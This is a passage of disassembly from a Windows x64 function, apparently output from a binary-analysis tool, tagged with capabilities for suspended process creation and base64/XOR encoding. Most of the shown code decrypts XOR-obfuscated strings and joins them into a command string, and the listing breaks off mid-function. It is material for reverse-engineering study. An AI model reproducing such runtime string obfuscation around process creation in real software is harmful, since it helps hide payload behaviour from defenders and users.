Function at 0x14000d9d0
Capabilities:
Create process on windows
Create process suspended
Encode data using base64
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f8]
sub rsp, 0x4f8
mov rax, qword [0x1400da190]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov qword [rbp - 0x38], r9
mov r12, r8
mov qword [rsp + 0x78], rdx
mov r14, rcx
mov qword [rsp + 0x50], rcx
mov qword [rbp + 0xb8], rdx
mov dword [rbp - 0x60], 0
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400b99a0]
mov word [rbp + 0x1b8], 0xbdf1
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x7d0
mov eax, dword [rcx + rdi]
mov ebx, 0x950
add rbx, rdi
test al, 1
jne 0x14000daa8
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rbp + 0x1b9]
cmp rbx, rcx
ja 0x14000da8d
lea rcx, [rbp + 0x1a8]
cmp rax, rcx
jb 0x14000da8d
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1b8]
mov word [rbx + 0x10], ax
jmp 0x14000da9b
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1b8]
mov word [rbx + 0x10], ax
lea rcx, [0x1400a91e0]
call fcn.140093de0
nop
cmp byte [rbx + 0x12], 0
je 0x14000daf9
xor byte [rbx], 0x9f
xor byte [rbx + 1], 0xbd
xor byte [rbx + 2], 0x4d
xor byte [rbx + 3], 0x9b
xor byte [rbx + 4], 0xcd
xor byte [rbx + 5], 0xb9
xor byte [rbx + 6], 0x4d
xor byte [rbx + 7], 0x19
xor byte [rbx + 8], 0x9f
xor byte [rbx + 9], 0xbd
xor byte [rbx + 0xa], 0x4d
xor byte [rbx + 0xb], 0x9b
xor byte [rbx + 0xc], 0xcd
xor byte [rbx + 0xd], 0xb9
xor byte [rbx + 0xe], 0x4d
xor byte [rbx + 0xf], 0x19
xor byte [rbx + 0x10], 0x9f
xor byte [rbx + 0x11], 0xbd
mov byte [rbx + 0x12], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x6cc
mov eax, dword [rcx + rdi]
mov edx, 0x818
test al, 1
jne 0x14000db55
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 9], 0x143
mov dword [rbx], 0x6c562256
mov dword [rbx + 4], 0xb508a3fe
mov byte [rbx + 8], 0x59
lea rcx, [0x1400a91c0]
call fcn.140093de0
nop
jmp 0x14000db59
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xa], 0
je 0x14000db8a
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 9
xor byte [rbx + 4], 0xa1
xor byte [rbx + 5], 0xd3
xor byte [rbx + 6], 0x69
xor byte [rbx + 7], 0xc1
xor byte [rbx + 8], 0x31
xor byte [rbx + 9], 0x43
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000dba3
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140009a30
nop
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.140006f90
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xor r15d, r15d
mov qword [rbp + 0xf0], r15
mov r13d, 0xf
mov qword [rbp + 0xf8], r13
mov byte [rbp + 0xe0], r15b
mov dword [rbp - 0x60], 4
cmp byte [rax], 3
jne 0x14000ff1c
mov rdx, qword [rax + 8]
lea rax, [rbp + 0xe0]
cmp rax, rdx
je 0x14000dc37
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14000dc1d
mov rdx, qword [rdx]
lea rcx, [rbp + 0xe0]
call fcn.140008340
mov r13, qword [rbp + 0xf8]
mov r15, qword [rbp + 0xf0]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14000dc72
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dc6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f907
call fcn.140093d04
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor edx, edx
mov qword [rbp + 0xd0], rdx
mov qword [rbp + 0xd8], rdx
lea r14, [rbp + 0xe0]
cmp r13, 0x10
cmovae r14, qword [rbp + 0xe0]
movabs rbx, 0x7fffffffffffffff
cmp r15, rbx
ja 0x14000ff61
mov qword [rbp + 0xd8], 0xf
cmp r15, 0x10
jae 0x14000dcda
mov qword [rbp + 0xd0], r15
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0xc0], xmm0
jmp 0x14000dd6c
mov rax, r15
or rax, 0xf
cmp rax, rbx
ja 0x14000dcf5
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, rsi
cmp rcx, 0x1000
jb 0x14000dd38
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000ff67
mov rcx, rax
call fcn.1400939a0
mov rcx, rax
test rax, rax
je 0x14000f907
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000dd47
test rcx, rcx
je 0x14000dd44
call fcn.1400939a0
jmp 0x14000dd47
mov rax, rdx
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], rbx
lea r8, [r15 + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
call fcn.14000fff0
mov rcx, rax
call fcn.140010540
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000dd80
mov rdx, rcx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
mov ecx, 0x684
mov eax, dword [rcx + rdi]
mov edx, 0x858
test al, 1
jne 0x14000dddd
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xa], 0x1fd4968
mov dword [rbx], 0x554c565b
mov dword [rbx + 4], 0x8cc14e94
mov word [rbx + 8], 0xf09
lea rcx, [0x1400a9170]
call fcn.140093de0
nop
jmp 0x14000dde1
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x14000de1e
xor byte [rbx], 0x7b
xor byte [rbx + 1], 0x7b
xor byte [rbx + 2], 9
xor byte [rbx + 3], 0x25
xor byte [rbx + 4], 0xfd
xor byte [rbx + 5], 0x2d
xor byte [rbx + 6], 0x91
xor byte [rbx + 7], 0xe3
xor byte [rbx + 8], 0x7b
xor byte [rbx + 9], 0x7b
xor byte [rbx + 0xa], 9
xor byte [rbx + 0xb], 0x25
xor byte [rbx + 0xc], 0xfd
mov byte [rbx + 0xd], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000de21
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b9290]
mov word [rbp + 0x218], 0x64dd
mov ecx, 0x668
mov eax, dword [rcx + rdi]
mov edx, 0x7d8
test al, 1
jne 0x14000debb
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rbp + 0x21a]
cmp rbx, rcx
ja 0x14000de9a
lea rcx, [rbp + 0x208]
cmp rax, rcx
jb 0x14000de9a
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x218]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x65
jmp 0x14000deac
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x218]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x65
lea rcx, [0x1400a9140]
call fcn.140093de0
nop
jmp 0x14000debf
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x13], 0
je 0x14000df14
xor byte [rbx], 0xa9
xor byte [rbx + 1], 1
xor byte [rbx + 2], 0x65
xor byte [rbx + 3], 0x7b
xor byte [rbx + 4], 0xed
xor byte [rbx + 5], 0x21
xor byte [rbx + 6], 0xfb
xor byte [rbx + 7], 0x57
xor byte [rbx + 8], 0xa9
xor byte [rbx + 9], 1
xor byte [rbx + 0xa], 0x65
xor byte [rbx + 0xb], 0x7b
xor byte [rbx + 0xc], 0xed
xor byte [rbx + 0xd], 0x21
xor byte [rbx + 0xe], 0xfb
xor byte [rbx + 0xf], 0x57
xor byte [rbx + 0x10], 0xa9
xor byte [rbx + 0x11], 1
xor byte [rbx + 0x12], 0x65
mov byte [rbx + 0x13], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000df20
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
mov ecx, 0x6e8
mov eax, dword [rcx + rdi]
mov edx, 0x688
test al, 1
jne 0x14000df7e
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xc], 0x163b7ca
mov dword [rbx], 0xaf4a887d
mov dword [rbx + 4], 0xb506b0cc
mov dword [rbx + 8], 0xad7f982b
lea rcx, [0x1400a9110]
call fcn.140093de0
nop
jmp 0x14000df82
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xf], 0
je 0x14000dfc7
xor byte [rbx], 0x5d
xor byte [rbx + 1], 0xa5
xor byte [rbx + 2], 0x2f
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0xa5
xor byte [rbx + 5], 0xd3
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xdb
xor byte [rbx + 8], 0x5d
xor byte [rbx + 9], 0xa5
xor byte [rbx + 0xa], 0x2f
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0xa5
xor byte [rbx + 0xd], 0xd3
xor byte [rbx + 0xe], 0x63
mov byte [rbx + 0xf], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000dfd0
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b9a20]
mov word [rbp + 0x200], 0x309c
mov ecx, 0x870
mov eax, dword [rcx + rdi]
mov edx, 0x798
test al, 1
jne 0x14000e06a
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rbp + 0x202]
cmp rbx, rcx
ja 0x14000e049
lea rcx, [rbp + 0x1f0]
cmp rax, rcx
jb 0x14000e049
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x200]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0xbf
jmp 0x14000e05b
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x200]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0xbf
lea rcx, [0x1400a90e0]
call fcn.140093de0
nop
jmp 0x14000e06e
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x13], 0
je 0x14000e0c3
xor byte [rbx], 0xe9
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0xbf
xor byte [rbx + 3], 0xaf
xor byte [rbx + 4], 0x91
xor byte [rbx + 5], 0xcd
xor byte [rbx + 6], 0xd5
xor byte [rbx + 7], 0x55
xor byte [rbx + 8], 0xe9
xor byte [rbx + 9], 0x43
xor byte [rbx + 0xa], 0xbf
xor byte [rbx + 0xb], 0xaf
xor byte [rbx + 0xc], 0x91
xor byte [rbx + 0xd], 0xcd
xor byte [rbx + 0xe], 0xd5
xor byte [rbx + 0xf], 0x55
xor byte [rbx + 0x10], 0xe9
xor byte [rbx + 0x11], 0x43
xor byte [rbx + 0x12], 0xbf
mov byte [rbx + 0x13], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e0c6
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
mov ecx, 0x794
mov eax, dword [rcx + rdi]
mov edx, 0x938
test al, 1
jne 0x14000e123
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xa], 0x1edf99e
mov dword [rbx], 0xe59a02ef
mov dword [rbx + 4], 0x9e335a84
mov word [rbx + 8], 0x5bbd
lea rcx, [0x1400a90c0]
call fcn.140093de0
nop
jmp 0x14000e127
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x14000e162
xor byte [rbx], 0xcf
xor byte [rbx + 1], 0x2f
not byte [rbx + 2]
xor byte [rbx + 3], 0x95
xor byte [rbx + 4], 0xed
xor byte [rbx + 5], 0x39
xor byte [rbx + 6], 0x43
xor byte [rbx + 7], 0xf1
xor byte [rbx + 8], 0xcf
xor byte [rbx + 9], 0x2f
not byte [rbx + 0xa]
xor byte [rbx + 0xb], 0x95
xor byte [rbx + 0xc], 0xed
mov byte [rbx + 0xd], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e165
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
mov ecx, 0x878
mov eax, dword [rcx + rdi]
mov edx, 0x5b8
test al, 1
jne 0x14000e1be
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 7], 0x11b
mov dword [rbx], 0x1af7c84d
mov word [rbx + 4], 0xacea
mov byte [rbx + 6], 0x64
lea rcx, [0x1400a90a0]
call fcn.140093de0
nop
jmp 0x14000e1c2
lea rbx, [rdx + rdi]
cmp byte [rbx + 8], 0
je 0x14000e1eb
xor byte [rbx], 0x6d
xor byte [rbx + 1], 0xe5
xor byte [rbx + 2], 0x99
xor byte [rbx + 3], 0x75
xor byte [rbx + 4], 0x8f
xor byte [rbx + 5], 0xcd
xor byte [rbx + 6], 7
xor byte [rbx + 7], 0x1b
mov byte [rbx + 8], 0
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e1f0
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
mov ecx, 0x598
mov eax, dword [rcx + rdi]
mov edx, 0x928
test al, 1
jne 0x14000e240
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 4], 0x1675655
mov dword [rbx], 0x68b1b4d9
lea rcx, [0x1400a9070]
call fcn.140093de0
nop
jmp 0x14000e244
lea rbx, [rdx + rdi]
cmp byte [rbx + 7], 0
je 0x14000e269
xor byte [rbx], 0xf9
xor byte [rbx + 1], 0x99
xor byte [rbx + 2], 0xdf
xor byte [rbx + 3], 7
xor byte [rbx + 4], 0x37
xor byte [rbx + 5], 0x33
xor byte [rbx + 6], 0x67
mov byte [rbx + 7], 0
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e270
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
mov ecx, 0x7d4
mov eax, dword [rcx + rdi]
mov edx, 0x658
test al, 1
jne 0x14000e2d0
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 0xb], 0x1a3
mov dword [rbx], 0xd11b32f3
mov dword [rbx + 4], 0x91299cd2
mov word [rbx + 8], 0x7dee
mov byte [rbx + 0xa], 0x18
lea rcx, [0x1400a9050]
call fcn.140093de0
nop
jmp 0x14000e2d4
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xc], 0
je 0x14000e30d
xor byte [rbx], 0xd3
xor byte [rbx + 1], 0x1f
xor byte [rbx + 2], 0x7d
xor byte [rbx + 3], 0xa3
xor byte [rbx + 4], 0xbd
xor byte [rbx + 5], 0xf1
xor byte [rbx + 6], 0x4f
xor byte [rbx + 7], 0xfd
xor byte [rbx + 8], 0xd3
xor byte [rbx + 9], 0x1f
xor byte [rbx + 0xa], 0x7d
xor byte [rbx + 0xb], 0xa3
mov byte [rbx + 0xc], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e310
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400ba5d0]
movdqa xmm1, xmmword [0x1400ba300]
mov word [rbp + 0x270], 0x6ff8
mov ecx, 0x7ac
mov eax, dword [rcx + rdi]
mov edx, 0x828
test al, 1
jne 0x14000e3ba
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x23], 1
lea rax, [rbx + 0x22]
lea rcx, [rbp + 0x272]
cmp rbx, rcx
ja 0x14000e395
lea rcx, [rbp + 0x250]
cmp rax, rcx
jb 0x14000e395
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rbp + 0x270]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x43
jmp 0x14000e3ab
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rbp + 0x270]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x43
lea rcx, [0x1400a9020]
call fcn.140093de0
nop
jmp 0x14000e3be
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x23], 0
je 0x14000e457
xor byte [rbx], 0xcd
xor byte [rbx + 1], 0x59
xor byte [rbx + 2], 0x43
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0x61
xor byte [rbx + 5], 0x79
xor byte [rbx + 6], 9
xor byte [rbx + 7], 0x81
xor byte [rbx + 8], 0xcd
xor byte [rbx + 9], 0x59
xor byte [rbx + 0xa], 0x43
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0x61
xor byte [rbx + 0xd], 0x79
xor byte [rbx + 0xe], 9
xor byte [rbx + 0xf], 0x81
xor byte [rbx + 0x10], 0xcd
xor byte [rbx + 0x11], 0x59
xor byte [rbx + 0x12], 0x43
xor byte [rbx + 0x13], 0x8f
xor byte [rbx + 0x14], 0x61
xor byte [rbx + 0x15], 0x79
xor byte [rbx + 0x16], 9
xor byte [rbx + 0x17], 0x81
xor byte [rbx + 0x18], 0xcd
xor byte [rbx + 0x19], 0x59
xor byte [rbx + 0x1a], 0x43
xor byte [rbx + 0x1b], 0x8f
xor byte [rbx + 0x1c], 0x61
xor byte [rbx + 0x1d], 0x79
xor byte [rbx + 0x1e], 9
xor byte [rbx + 0x1f], 0x81
xor byte [rbx + 0x20], 0xcd
xor byte [rbx + 0x21], 0x59
xor byte [rbx + 0x22], 0x43
mov byte [rbx + 0x23], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e460
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b93c0]
mov ecx, 0x5c8
mov eax, dword [rcx + rdi]
mov edx, 0x628
test al, 1
jne 0x14000e4db
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x2c0]
cmp rbx, rcx
ja 0x14000e4c5
lea rcx, [rbp + 0x2b0]
cmp rax, rcx
jb 0x14000e4c5
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x15
jmp 0x14000e4cc
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x15
lea rcx, [0x1400a9000]
call fcn.140093de0
nop
jmp 0x14000e4df
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x11], 0
je 0x14000e52c
xor byte [rbx], 0x15
xor byte [rbx + 1], 0xd7
xor byte [rbx + 2], 0x9b
xor byte [rbx + 3], 5
xor byte [rbx + 4], 0xc5
xor byte [rbx + 5], 0xa5
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x21
xor byte [rbx + 8], 0x15
xor byte [rbx + 9], 0xd7
xor byte [rbx + 0xa], 0x9b
xor byte [rbx + 0xb], 5
xor byte [rbx + 0xc], 0xc5
xor byte [rbx + 0xd], 0xa5
xor byte [rbx + 0xe], 0x3f
xor byte [rbx + 0xf], 0x21
xor byte [rbx + 0x10], 0x15
mov byte [rbx + 0x11], 0
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e530
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b9620]
mov dword [rbp + 0x150], 0x733e5932
mov word [rbp + 0x154], 0x12b7
mov ecx, 0x594
mov eax, dword [rcx + rdi]
mov edx, 0x5a0
test al, 1
jne 0x14000e5e6
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x17], 1
lea rax, [rbx + 0x16]
lea rcx, [rbp + 0x156]
cmp rbx, rcx
ja 0x14000e5bc
lea rcx, [rbp + 0x140]
cmp rax, rcx
jb 0x14000e5bc
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x150]
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0x154]
mov word [rbx + 0x14], ax
mov byte [rbx + 0x16], 0x75
jmp 0x14000e5d7
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x150]
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0x154]
mov word [rbx + 0x14], ax
mov byte [rbx + 0x16], 0x75
lea rcx, [0x1400a8fd0]
call fcn.140093de0
nop
jmp 0x14000e5ea
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x17], 0
je 0x14000e64f
xor byte [rbx], 0x5b
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x5f
xor byte [rbx + 3], 0x11
xor byte [rbx + 4], 0xdb
xor byte [rbx + 5], 0x77
xor byte [rbx + 6], 0x75
xor byte [rbx + 7], 0x3b
xor byte [rbx + 8], 0x5b
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0x5f
xor byte [rbx + 0xb], 0x11
xor byte [rbx + 0xc], 0xdb
xor byte [rbx + 0xd], 0x77
xor byte [rbx + 0xe], 0x75
xor byte [rbx + 0xf], 0x3b
xor byte [rbx + 0x10], 0x5b
xor byte [rbx + 0x11], 0x35
xor byte [rbx + 0x12], 0x5f
xor byte [rbx + 0x13], 0x11
xor byte [rbx + 0x14], 0xdb
xor byte [rbx + 0x15], 0x77
xor byte [rbx + 0x16], 0x75
mov byte [rbx + 0x17], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e652
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
mov ecx, 0x5cc
mov eax, dword [rcx + rdi]
mov edx, 0x610
test al, 1
jne 0x14000e6b0
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xc], 0x1793574
mov dword [rbx], 0x59230861
mov dword [rbx + 4], 0xfa441145
mov dword [rbx + 8], 0x43224b28
lea rcx, [0x1400a8fa0]
call fcn.140093de0
nop
jmp 0x14000e6b4
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xf], 0
je 0x14000e6f9
xor byte [rbx], 0x41
xor byte [rbx + 1], 0x25
xor byte [rbx + 2], 0x6b
xor byte [rbx + 3], 0xd
xor byte [rbx + 4], 0x11
xor byte [rbx + 5], 0x41
xor byte [rbx + 6], 0x79
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x41
xor byte [rbx + 9], 0x25
xor byte [rbx + 0xa], 0x6b
xor byte [rbx + 0xb], 0xd
xor byte [rbx + 0xc], 0x11
xor byte [rbx + 0xd], 0x41
xor byte [rbx + 0xe], 0x79
mov byte [rbx + 0xf], 0
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e700
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
mov ecx, 0x698
mov eax, dword [rcx + rdi]
mov edx, 0x5d0
test al, 1
jne 0x14000e761
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 0xd], 0x1e3
mov dword [rbx], 0x8a782407
mov dword [rbx + 4], 0xd160ab3b
mov dword [rbx + 8], 0x91704e68
mov byte [rbx + 0xc], 0x52
lea rcx, [0x1400a8f80]
call fcn.140093de0
nop
jmp 0x14000e765
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xe], 0
je 0x14000e7a6
xor byte [rbx], 0x27
xor byte [rbx + 1], 9
xor byte [rbx + 2], 0x39
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0x6f
xor byte [rbx + 5], 0xe3
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x9d
xor byte [rbx + 8], 0x27
xor byte [rbx + 9], 9
xor byte [rbx + 0xa], 0x39
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0x6f
xor byte [rbx + 0xd], 0xe3
mov byte [rbx + 0xe], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e7c0
mov rdx, rbx
lea rcx, [rbp + 0x68]
call fcn.140009a30
nop
mov r8, qword [r12 + 0x10]
cmp qword [r12 + 0x18], 0x10
jb 0x14000e7e8
mov r12, qword [r12]
mov rdx, r12
lea rcx, [rbp + 0x68]
call fcn.1400084a0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
xor r12d, r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp - 0x58]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14000e885
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e87f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e87f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x14000e8c6
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e8c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e8c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b8d60]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x810
mov eax, dword [rdx + rcx]
mov ebx, 0x8a0
add rbx, rcx
test al, 1
jne 0x14000e931
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x2d8]
cmp rbx, rcx
ja 0x14000e91d
lea rcx, [rbp + 0x2c8]
cmp rax, rcx
jb 0x14000e91d
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x33
jmp 0x14000e924
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x33
lea rcx, [0x1400a8f60]
call fcn.140093de0
nop
cmp byte [rbx + 0x11], 0
je 0x14000e97e
xor byte [rbx], 0x33
xor byte [rbx + 1], 5
xor byte [rbx + 2], 0x4b
xor byte [rbx + 3], 0x87
xor byte [rbx + 4], 0x21
xor byte [rbx + 5], 9
xor byte [rbx + 6], 7
xor byte [rbx + 7], 0x31
xor byte [rbx + 8], 0x33
xor byte [rbx + 9], 5
xor byte [rbx + 0xa], 0x4b
xor byte [rbx + 0xb], 0x87
xor byte [rbx + 0xc], 0x21
xor byte [rbx + 0xd], 9
xor byte [rbx + 0xe], 7
xor byte [rbx + 0xf], 0x31
xor byte [rbx + 0x10], 0x33
mov byte [rbx + 0x11], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e990
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.140009a30
nop
mov rax, qword [rbp - 0x38]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000e9b9
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400084a0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], r12
